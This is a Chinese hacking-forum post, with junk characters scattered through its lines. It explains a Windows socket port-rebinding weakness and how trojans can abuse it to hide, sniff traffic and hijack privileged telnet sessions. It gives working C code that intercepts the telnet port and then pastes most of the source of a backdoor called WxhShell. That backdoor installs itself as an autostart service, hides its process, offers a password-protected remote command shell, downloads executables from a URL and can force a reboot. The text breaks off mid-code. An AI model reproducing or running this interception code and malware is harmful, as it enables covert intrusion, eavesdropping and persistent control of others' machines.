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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +)nT|w45  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~`Qko-a&  
,G^[o,hS  
  saddr.sin_family = AF_INET; v}J;ZIb  
i54md$Q^  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {mE! Vf  
p<WFqLe(":  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7=4A;Ybq  
VVWM9x  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 q&'Lbxc>c  
/.5;in  
  这意味着什么?意味着可以进行如下的攻击: k6IG+:s  
 V[pvJ(  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 C-P06Q]  
c.H?4j7ga  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,gnQa  
RK9>dkW  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !a1i Un9  
VS?@y/\In  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `29TY&p+"  
'!v c/Hw  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 LU!1s@  
-'rj&x{Q)U  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ")s!L"x  
d_}a`H  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 HW=xvA+  
]8U ~Iy  
  #include ]0c Pml  
  #include IKvBf'%-  
  #include z)F#u:t  
  #include    `NwdbKX  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :s8A:mx  
  int main() #`GbHxd  
  { }wt%1v-10U  
  WORD wVersionRequested; aj|5 #  
  DWORD ret; o}8{Bh^  
  WSADATA wsaData; t\j!K2  
  BOOL val; o 6j"OZcv  
  SOCKADDR_IN saddr; ioIv=qGdiP  
  SOCKADDR_IN scaddr; G2mNm'0  
  int err; F N"rZWM  
  SOCKET s; +?-qfp,:0  
  SOCKET sc; w`yx=i#  
  int caddsize; 6X+}>qy  
  HANDLE mt; 67<CbQZoN3  
  DWORD tid;   J;~|p h  
  wVersionRequested = MAKEWORD( 2, 2 ); (b/d0HCND  
  err = WSAStartup( wVersionRequested, &wsaData ); MM#cLw  
  if ( err != 0 ) { ` DCU>bt&R  
  printf("error!WSAStartup failed!\n");  0V11#   
  return -1; >?XbU}  
  } % mn />  
  saddr.sin_family = AF_INET; rb_Z5T  
    :q2YBa  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 K, (65>86;  
}(i(Ar-  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Mps *}9  
  saddr.sin_port = htons(23); i|2$8G3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \3NS>v[1  
  { I"!'AI-  
  printf("error!socket failed!\n"); ":WYcaSi  
  return -1; *d*oS7  
  } |i)lh_iN  
  val = TRUE; 5 Rz/Ri\c=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <A~GW 'HB  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ZL91m`r  
  { ,zgNE*{Y"4  
  printf("error!setsockopt failed!\n"); uIP iM8(  
  return -1; cIw eBDl  
  } ;bHfn-X  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; oXc/#{NC  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 j8 H Oc(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [%.18FWI  
G j6. Iv  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2:J,2=%  
  { >_Uj?F:  
  ret=GetLastError(); k8&FDz  
  printf("error!bind failed!\n"); Tx+ p8J|Yr  
  return -1; g5R,% 6  
  } #4y,a_)  
  listen(s,2); A o3HX  
  while(1) i>Iee^_(  
  { gg8c7d:Q  
  caddsize = sizeof(scaddr); GJak.,0t  
  //接受连接请求 .)ST[G]WK  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); O<`R~  
  if(sc!=INVALID_SOCKET) &telCg:  
  { _om[VKJd  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [,7-w  
  if(mt==NULL) S[U/qO)m  
  { N#Ag'i4HF  
  printf("Thread Creat Failed!\n"); GoeIjuELR  
  break; k}B DA|\s  
  } ]bfqcmh<  
  } N$'>XtO  
  CloseHandle(mt); hPPB45^  
  } kME^tpji  
  closesocket(s);  rA#s   
  WSACleanup(); G.ud1,S#  
  return 0; ;5M<j3_*  
  }   b7'F|h^  
  DWORD WINAPI ClientThread(LPVOID lpParam) *]!l%Uf%  
  { (UzPklkZ  
  SOCKET ss = (SOCKET)lpParam; iBHw[X,b  
  SOCKET sc; t{ H 1u  
  unsigned char buf[4096]; STlPT5e.}  
  SOCKADDR_IN saddr; .YiaXP  
  long num; 5+FLSk  
  DWORD val; 56ZrCr  
  DWORD ret; jM\ %$_/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 DyX0 xx^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @ KJV1t`  
  saddr.sin_family = AF_INET; ?>)yKa#U  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /| f[us-w  
  saddr.sin_port = htons(23); uo 4xnzc  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "UpOY  
  { ,eK2I Ao  
  printf("error!socket failed!\n"); T&4fBMBp,%  
  return -1; j)Lo'&Y~=  
  } ;@!;1KDy  
  val = 100; VKf6|ae  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #01/(:7  
  { QRagz, c  
  ret = GetLastError(); BK*UR+,  
  return -1; /#IH -2N  
  } 1)Eq&ASB  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <{ # <5 8  
  { tj#b_ u z  
  ret = GetLastError(); [)iN)$Mv  
  return -1; qzlER  
  } t[j9R#02?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) . =R=cA7  
  { 5*XH6g F  
  printf("error!socket connect failed!\n"); HqRCjD  
  closesocket(sc); IdmD.k0pJ  
  closesocket(ss); 0lf"w@/  
  return -1; /1N)d?Pcl  
  } +Z$a1 Y@  
  while(1) cE 2Rr  
  { x Zg7Jg  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "MTq{f2?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 bQpoXs0w;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #8&#E?^d  
  num = recv(ss,buf,4096,0); /=- h:0{M  
  if(num>0) 8'% +G  
  send(sc,buf,num,0); 'rh\CA/}D  
  else if(num==0) m>O2t-  
  break; ,L~snR'w  
  num = recv(sc,buf,4096,0); >E~~7Yal  
  if(num>0) g6`.qyVfz'  
  send(ss,buf,num,0); oo'iwq-\  
  else if(num==0) |} 9GHjG  
  break; qAbd xd[  
  } -rRz@Cr  
  closesocket(ss); e~*S4dKR  
  closesocket(sc); Ss+F9J  
  return 0 ; LiF.w:}  
  } @M9_j{A  
>!<V\ Fj1  
0*{@E%9  
========================================================== .:SfM r;G  
,`+Bs&S 8  
下边附上一个代码,,WXhSHELL S~} +ypV  
xNx`J@xt$  
========================================================== qWkx:-g]  
W -3w7^  
#include "stdafx.h" :g/{(#E@Z  
{YfYIt=.  
#include <stdio.h> 2t.fD@  
#include <string.h> TiTYs  
#include <windows.h> 5 5a@)>h  
#include <winsock2.h> + p'\(Z(  
#include <winsvc.h>  rA2qV  
#include <urlmon.h> i'9e K O  
83X/"2-K  
#pragma comment (lib, "Ws2_32.lib") 75PS^5T,  
#pragma comment (lib, "urlmon.lib") oX2r?.j#M  
)y5iH){ !  
#define MAX_USER   100 // 最大客户端连接数 FmR\`yY_,  
#define BUF_SOCK   200 // sock buffer lej^gxj/2  
#define KEY_BUFF   255 // 输入 buffer _5Bu [I  
<)"iL4 kDI  
#define REBOOT     0   // 重启 )~G8 LZ  
#define SHUTDOWN   1   // 关机 NCp%sGBmG  
x9 TuweG  
#define DEF_PORT   5000 // 监听端口 ,Qga|n8C  
^75pV%<%  
#define REG_LEN     16   // 注册表键长度 .!9Vt#  
#define SVC_LEN     80   // NT服务名长度 C?bXrG\  
m2wp m_vV#  
// 从dll定义API *?s/Ho &'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (1OW6xtfG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;k-g _{M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }D(DU5r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _8Pmv$   
s-fKh`  
// wxhshell配置信息 PZ~`O  
struct WSCFG { EC0zH#N  
  int ws_port;         // 监听端口 n&3iz05}  
  char ws_passstr[REG_LEN]; // 口令 e3G7K8  
  int ws_autoins;       // 安装标记, 1=yes 0=no u87=q^$  
  char ws_regname[REG_LEN]; // 注册表键名 q=J9L Q  
  char ws_svcname[REG_LEN]; // 服务名 uT#Acg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z+OAs0}mV  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T<! \B]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3{6ps : w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o$*bm6o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q=dw 6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oA5<[&~<  
-wJ   
}; ccIDMJ=2  
6hR^qdHg  
// default Wxhshell configuration "K/[[wX\b  
struct WSCFG wscfg={DEF_PORT, ,M| QN*  
    "xuhuanlingzhe", PEK.Kt\M  
    1, GP0[Y  
    "Wxhshell", cu) @P0I  
    "Wxhshell", [%HYh7ua<  
            "WxhShell Service", .dy#n`eP  
    "Wrsky Windows CmdShell Service", (K!M*d+  
    "Please Input Your Password: ", 2(@LRl>:  
  1, nYmf(DV  
  "http://www.wrsky.com/wxhshell.exe", mrw]yu;2<n  
  "Wxhshell.exe" 8') .o hD  
    }; 5)h+(u C3  
\H},ou U  
// 消息定义模块 B4PW4>GF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #i'C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T2;v<(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .~FKyP>[$  
char *msg_ws_ext="\n\rExit."; #JHy[!4  
char *msg_ws_end="\n\rQuit."; 3U :YA&K(  
char *msg_ws_boot="\n\rReboot..."; cg>!<T*  
char *msg_ws_poff="\n\rShutdown..."; k8!hvJ)?  
char *msg_ws_down="\n\rSave to "; UUt~W  
ay!6 T`U`  
char *msg_ws_err="\n\rErr!"; <L[T'ZE+  
char *msg_ws_ok="\n\rOK!"; "H wVK  
BT y]!%r'  
char ExeFile[MAX_PATH]; v4nv Z6  
int nUser = 0; U^vUdM"  
HANDLE handles[MAX_USER]; tg4LE?nv  
int OsIsNt; F5 :2TEA  
T)$ 6H}[c  
SERVICE_STATUS       serviceStatus; h0'8NvalQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dm/-}  
LC~CPV'F  
// 函数声明 ^T uP=q5?  
int Install(void); G~b`O20N  
int Uninstall(void); H5F\-&cq  
int DownloadFile(char *sURL, SOCKET wsh); [a#?}((  
int Boot(int flag); }3 fLV  
void HideProc(void); FU [8:o62  
int GetOsVer(void); SaX,^_GY  
int Wxhshell(SOCKET wsl); lo IL{2  
void TalkWithClient(void *cs); v Ie=wf~D`  
int CmdShell(SOCKET sock); bn^mL~  
int StartFromService(void); -N /8Ho  
int StartWxhshell(LPSTR lpCmdLine); 2tg/S=t}  
GqmDDL1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N2+mN0k;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bUY:XmA  
,)B~cic'u  
// 数据结构和表定义 {ziYd;Ys1  
SERVICE_TABLE_ENTRY DispatchTable[] = =rf )yp-D  
{ "u3fs2  
{wscfg.ws_svcname, NTServiceMain}, WcV\kemf  
{NULL, NULL} wsdB; 6%$  
}; e>ZbZy?  
Qd&d\w/  
// 自我安装 : 9djMsd  
int Install(void) Pl>nd)i`  
{ /h}wM6pg  
  char svExeFile[MAX_PATH]; ;L\!g%a  
  HKEY key; {Oc?C:aI=  
  strcpy(svExeFile,ExeFile); t(uB66(_F  
~#IWM+I  
// 如果是win9x系统,修改注册表设为自启动 "Gi+zkVm  
if(!OsIsNt) { !.tL"U~4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &"~,V6,q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .&* ({UM  
  RegCloseKey(key); mlsvP%[f.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vkNZ -`+I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IxK 3,@d  
  RegCloseKey(key); ZYl-p]\*y  
  return 0; 6I5[^fv45G  
    } )Ta]6  
  } YKs^%GO+  
} \pBYWf  
else { @@&@}IQcR1  
j:de}!wc  
// 如果是NT以上系统,安装为系统服务 it/C y\f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]XpU'/h>q;  
if (schSCManager!=0) }R(0[0NQe-  
{ ~]6Oz;~<3  
  SC_HANDLE schService = CreateService dctA`W@:-  
  ( ~,M;+T}[r  
  schSCManager, $z`cMQ r  
  wscfg.ws_svcname, //'xR8Z  
  wscfg.ws_svcdisp, SzgY2+Qq  
  SERVICE_ALL_ACCESS, w'5dk3$"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n'x`oI)-  
  SERVICE_AUTO_START, g O\f:Pg  
  SERVICE_ERROR_NORMAL, Gr"2G,,VI  
  svExeFile, +i q+  
  NULL, ShsP]$Yp  
  NULL, 2jrX  
  NULL, mXN1b!  
  NULL, nfd?@34"A2  
  NULL wZ\e3H z  
  ); wzLiVe-  
  if (schService!=0) B9;,A;E};  
  { 4o)\DB?!  
  CloseServiceHandle(schService); 46.q a nh  
  CloseServiceHandle(schSCManager); @]VvqCk  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y!{/'{?P  
  strcat(svExeFile,wscfg.ws_svcname); #Ko+_Hm?4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ui#1+p3G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5>z:[OdY*  
  RegCloseKey(key); lG[ )8!:+  
  return 0; fi-&[llg  
    } 6&xW9' 6b:  
  } S#%JSQo:  
  CloseServiceHandle(schSCManager); pFv[z':&Q  
} >/OXC+=^4  
} RZ,<D I  
i5~ /+~  
return 1; {]/Jk07  
} Q,M/R6i-  
2dV\=vd  
// 自我卸载 #9W5  
int Uninstall(void) PUFW^"LV  
{ W<Vzd4hR  
  HKEY key; w]+BBGYQKb  
?` ZGM  
if(!OsIsNt) { {$QF*j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hz~CW-47  
  RegDeleteValue(key,wscfg.ws_regname); 5+Zx-oWq_  
  RegCloseKey(key); S;AnpiBM8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &0<R:K?>N  
  RegDeleteValue(key,wscfg.ws_regname); 7yCx !P;  
  RegCloseKey(key); kvO`]>#;$?  
  return 0; %N_S/V0`  
  } (=&bo p  
} J/P@m_Yx  
} {i7Fu+xZj  
else { nY5n%>8  
LXLIos55S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <0,ah4C  
if (schSCManager!=0) 'y@ 2,9v  
{ %H 6ZfEO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !+26a*P  
  if (schService!=0) hK9oe%kU~  
  { >J75T1PH=  
  if(DeleteService(schService)!=0) { yOCcp+`T}  
  CloseServiceHandle(schService); 4`5Qt=}  
  CloseServiceHandle(schSCManager); pfn#~gC_=  
  return 0; =x.v*W]F`  
  } ([XyW{=h!  
  CloseServiceHandle(schService); 0|+hm^'_  
  } :M?')  
  CloseServiceHandle(schSCManager); OaCj3d>  
} DSG +TA"  
} 4;~lpty  
m&jt[   
return 1; q ]R @:a/  
} (LvOsr~  
*p5T  
// 从指定url下载文件 h'q0eqYeu)  
int DownloadFile(char *sURL, SOCKET wsh) _R<V8g1f  
{ uc(yos  
  HRESULT hr; R O3e  
char seps[]= "/"; Z$=$oJzB  
char *token; ujp,D#xHP  
char *file; eq 1 4  
char myURL[MAX_PATH]; t:j07 ,1~  
char myFILE[MAX_PATH]; 6%hEs6-R  
kE(-vE9  
strcpy(myURL,sURL); {c EK z\RX  
  token=strtok(myURL,seps); xbH!:R;  
  while(token!=NULL) -N!soJ<  
  { <Phr`/  
    file=token; {^O/MMB\\%  
  token=strtok(NULL,seps); SVEA  
  } lG^nT  
wNZS6JF.d  
GetCurrentDirectory(MAX_PATH,myFILE); S$_Ts1Ge6  
strcat(myFILE, "\\"); X%\6V;zR#  
strcat(myFILE, file); exMPw ;8  
  send(wsh,myFILE,strlen(myFILE),0); y42T.oK8c  
send(wsh,"...",3,0); Fu$Gl$qV?%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]` Gz_e  
  if(hr==S_OK) QR"O)lP  
return 0; n_ NG~ /x  
else )^@V*$D  
return 1; XK9*,WA9r  
R\=\6("  
} R#^pNJN  
$A0]v!P~i-  
// 系统电源模块 yT9RNo/w  
int Boot(int flag) GN"LU>9|  
{ GQAg ex)D  
  HANDLE hToken; ^|12~d_.T  
  TOKEN_PRIVILEGES tkp; Y%cA2V\#m  
0J,d9a [1  
  if(OsIsNt) {  G/;aZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zgOwSg8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b0CaoSWo  
    tkp.PrivilegeCount = 1; szs3x-g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #Lt+6sa]2@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -hV KPIb  
if(flag==REBOOT) { *ww(5 t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [ #fqyg  
  return 0; $<DA[ %pv  
} FNRE_83  
else { Q 6<Uui w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %iFIY=W  
  return 0; T{xo_u{Q  
}  0 9'o  
  } v8(u9V%?6  
  else { DMpd(ws  
if(flag==REBOOT) { C^v -&*v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _; RD-kv  
  return 0; N28?JQha  
} D_kz R  
else { XQ y|t"Vq>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *G"#.YvE  
  return 0; Y-k~ 7{7  
} MM$" 6Jor  
} :@'0)7  
tF1%=&ss  
return 1; ^u&Khc~ y  
} WC;a  
jmVy4* P_  
// win9x进程隐藏模块 \(t>(4s_~  
void HideProc(void) ;AA7wK 4  
{ #mxfU>vQ:  
^moIMFl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Gl:T  
  if ( hKernel != NULL ) _jKVA6_E  
  { JU+'UK630  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KftM4SFbK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Pu*UZcXY  
    FreeLibrary(hKernel); |W];v@b\y  
  } eV}Tx;1|}  
RxG./GY  
return; UeeV+xU  
} }r<^]Q*&p  
[,X,2  
// 获取操作系统版本 !9OgA  
int GetOsVer(void) ()JDjzQT  
{ k}qiIMdI  
  OSVERSIONINFO winfo; hvZR4|k>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +>({pHZ<S  
  GetVersionEx(&winfo); |.W;vc<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l[{}ZKZ  
  return 1; bncFrzp#o  
  else ;itg>\ p3  
  return 0; rmJ847%y`  
} <Wq{ V;$  
/hR]aw  
// 客户端句柄模块 Mc^7FWkw  
int Wxhshell(SOCKET wsl) ?LM'5  
{ ]`9K|v  
  SOCKET wsh; =%G[vm/-)  
  struct sockaddr_in client; qE=OQs9  
  DWORD myID; Vtk|WV?>P+  
{627*6,  
  while(nUser<MAX_USER) z9w.=[Io  
{ xK'IsMo[  
  int nSize=sizeof(client); zjE4v-H:l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yt,;^o^  
  if(wsh==INVALID_SOCKET) return 1; fdHxrH >*  
y5h[^K3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oPZ4}>uV  
if(handles[nUser]==0) y Dw!u[:  
  closesocket(wsh); sR nMBW.  
else X.|0E87  
  nUser++; $4,6&dwg  
  }  #0H[RU?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >Sah\u`  
4+bsG6i  
  return 0; essW,2,rjC  
} ;Bi{;>3  
?Qk#;~\yB  
// 关闭 socket O,#[m:Ejb  
void CloseIt(SOCKET wsh) !%9I%Ak^  
{ DJUtuex  
closesocket(wsh); \(L^ /]}G)  
nUser--; LXl! !i%  
ExitThread(0); yK3z3"1M?  
} [hbIv   
pQ8+T|0x  
// 客户端请求句柄 GrC")Z|3u  
void TalkWithClient(void *cs) 7C^ nk z  
{ OSk9Eb4ld  
>^N :A  
  SOCKET wsh=(SOCKET)cs; `;@4f |N9  
  char pwd[SVC_LEN]; PD4E& k  
  char cmd[KEY_BUFF]; ?>&Zm$5V  
char chr[1]; ,iUx'U  
int i,j; wYG0*!Vj  
n Lb 9$&  
  while (nUser < MAX_USER) { "-%H</  
~yN,FpD  
if(wscfg.ws_passstr) { U)8]pUI+/P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YvX I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gZv <_0N  
  //ZeroMemory(pwd,KEY_BUFF); @( l`_Wx  
      i=0; gG>>ynn  
  while(i<SVC_LEN) { <& iBR  
Y2EN!{YU  
  // 设置超时 +_Z/VQv  
  fd_set FdRead; )/'s& D  
  struct timeval TimeOut; HxaUVg0  
  FD_ZERO(&FdRead); oDa{HP\O]W  
  FD_SET(wsh,&FdRead); ev $eM  
  TimeOut.tv_sec=8; 3I+pe;  
  TimeOut.tv_usec=0; `Fj(g!`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .2xkf@OP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "Cb<~Dy  
X[<9+Q-&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pyKag;ZtP  
  pwd=chr[0]; /&yT2p  
  if(chr[0]==0xd || chr[0]==0xa) { s?Kn,6Y  
  pwd=0; wG O)!u 4  
  break; yhaYlYv[_3  
  } <=Qk^Y2k  
  i++; /Ny&;Y  
    } HdM;c*K  
0N.*c  
  // 如果是非法用户,关闭 socket *C\O] r:'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 00i9yC8@6  
} Cp%|Q.?  
RulIzv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `c(@WK4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DN+`Q{KS  
cO:x{~  
while(1) { '' 6  
y.zQ `  
  ZeroMemory(cmd,KEY_BUFF); }MNm>3  
\ (,2^T'$J  
      // 自动支持客户端 telnet标准   amRtFrc|  
  j=0; qb Q> z+c  
  while(j<KEY_BUFF) { y_6HQ:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~J|0G6H  
  cmd[j]=chr[0]; 8/:\iPk0  
  if(chr[0]==0xa || chr[0]==0xd) { "q$M\jK#V  
  cmd[j]=0; om1 / 9  
  break; uyj5}F+O  
  } Ev%\YI!MaY  
  j++; _PIk,!<  
    } v,jU9D \  
Z]tz<YSkG  
  // 下载文件 !>Xx</iD1  
  if(strstr(cmd,"http://")) { $)U RY~;i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >9 iv>  
  if(DownloadFile(cmd,wsh)) M0|z^2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %X3T<3<  
  else O%Mh g\#B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PJ'l:IU  
  } "ggq7cJ}_  
  else { `6zoZM7?Y  
OHU(?TBo  
    switch(cmd[0]) { s[hD9$VB>  
  344- ~i*  
  // 帮助 v[m>;Ubg&  
  case '?': { 4h|vd.t  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C<3An_Dy  
    break; 9I,Trk@&  
  } V{][{5SR  
  // 安装 1peN@Yk2W  
  case 'i': { '>Z Ou3>  
    if(Install()) Q]8r72uSk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y=t -/*K  
    else mwt3EV5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FGC[yz1g:  
    break; Ae"B]Cxb_X  
    } ]]+"`t,-  
  // 卸载 p|zW2L  
  case 'r': { x`4">:IA  
    if(Uninstall()) e. [h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "h "vp&A  
    else C`fQ` RL\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `W5f'RU  
    break; =vR>KE  
    } kp[Jl0K5  
  // 显示 wxhshell 所在路径 QgP UP[  
  case 'p': { ='(:fHhhX  
    char svExeFile[MAX_PATH]; w0pH|$"/P  
    strcpy(svExeFile,"\n\r"); B{44|aq1|  
      strcat(svExeFile,ExeFile); [ACa<U/  
        send(wsh,svExeFile,strlen(svExeFile),0); um/iK}O  
    break; 8"+Kz  
    } cG.4%Va@s_  
  // 重启 Lx.X#n.]T  
  case 'b': { ~MOIrF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9BP-Iet  
    if(Boot(REBOOT)) -{HA+YL H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4g|}]K1s  
    else { YtFtU;{  
    closesocket(wsh); % _N-:.S  
    ExitThread(0); JMXCyDy;  
    } Wa wOap  
    break; Ls( &.  
    } Au9Rr3n  
  // 关机 )<%GHDWL  
  case 'd': { T{Av[>M  
